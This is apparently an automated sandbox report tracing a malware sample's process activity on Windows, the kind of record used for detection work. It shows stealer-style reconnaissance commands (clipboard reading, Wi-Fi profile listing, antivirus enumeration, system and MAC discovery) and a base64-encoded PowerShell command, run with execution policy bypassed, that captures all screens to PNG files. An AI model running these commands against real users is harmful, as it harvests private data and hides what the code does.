Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8052, Parent PID: 7396

General

Target ID:	18
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:16:10
Start date:	20/07/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff66dc00000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:16:11
Start date:	20/07/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff7db190000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:16:11
Start date:	20/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:16:11
Start date:	20/07/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff70fdd0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:16:11
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:16:11
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:16:12
Start date:	20/07/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff7c5350000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:16:12
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 6688, Parent PID: 7396

General

Target ID:	30
Start time:	16:16:12
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:16:12
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:16:12
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:16:12
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:16:12
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:16:13
Start date:	20/07/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff66dc00000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:16:13
Start date:	20/07/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff669fc0000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:16:13
Start date:	20/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:16:14
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2104, Parent PID: 8096

General

Target ID:	40
Start time:	16:16:14
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:16:14
Start date:	20/07/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff66dc00000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline"
Imagebase:	0x7ff7438e0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7784, Parent PID: 7864

General

Target ID:	46
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff6934e0000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff66dc00000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA594.tmp" "c:\Users\user\AppData\Local\Temp\bohkan2x\CSC24344491B9A34B60B194FE692FA1E0E5.TMP"
Imagebase:	0x7ff7fee70000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 824, Parent PID: 2696

General

Target ID:	51
Start time:	16:16:15
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	16:16:16
Start date:	20/07/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff66dc00000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	16:16:16
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7828, Parent PID: 8184

General

Target ID:	54
Start time:	16:16:16
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	16:16:16
Start date:	20/07/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff66dc00000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

